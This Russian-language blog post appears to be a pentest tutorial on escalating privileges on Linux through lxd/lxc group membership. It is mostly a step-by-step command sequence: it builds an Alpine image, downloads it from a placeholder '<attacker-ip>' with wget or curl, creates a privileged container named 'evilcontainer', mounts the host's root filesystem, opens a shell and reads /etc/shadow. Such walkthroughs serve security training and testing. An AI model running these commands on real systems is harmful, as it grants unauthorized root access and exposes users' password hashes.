From LXC to etc

Использование чистого lxc в природе сейчас встретишь не часто, но в некоторых дистрибутивах он есть, например в Ubuntu 20.04. И раз у нас есть такая крутая штука, то странно ей не воспользоваться.
Вообще это довольно интересный и своеобразный вектор атаки, и пишут про него не особо часто (ну да, ведь везде docker).

Собираем образ на своей машине

1
2
3
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sudo ./build-alpine -a i686

Скачиваем файл

Полученный файл можно куда-то выгрузить, а можно раздать с веб-сервера, например так:

1
python3 -m http.server 8080

Забираем файл так:

1
wget http://<attacker-ip>:8080/alpine-v3.16-i686-20220603_1113.tar.gz

Или так:

1
curl http://<attacker-ip>:8080/alpine-v3.16-i686-20220603_1113.tar.gz --output alpine-v3.16-i686-20220603_1113.tar.gz

Как альтернативный вариант, можем использовать сразу образ из репозитория:

1
wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/alpine-v3.13-x86_64-20210218_0139.tar.gz

Импортируем образ

1
lxc image import ./alpine*.tar.gz --alias evilimage

Предварительно проверяем, используется ли lxc

1
2
3
ip a | grep lxd
lxc list
lxc image list

И если ничего нет, то запускаем начальную настройку:

1
lxd init

Запускаем образ

1
lxc init evilimage evilcontainer -c security.privileged=true

Монтируем /root в образ

1
lxc config device add evilcontainer victimdevice disk source=/ path=/mnt/root recursive=true

Запускаем и радуемся результату

1
2
3
lxc start evilcontainer
lxc exec evilcontainer /bin/sh
cat /mnt/root/etc/shadow

Reference

lxd/lxc Group - Privilege escalation
Linux Privilege Escalation – Exploiting the LXC/LXD Groups

0%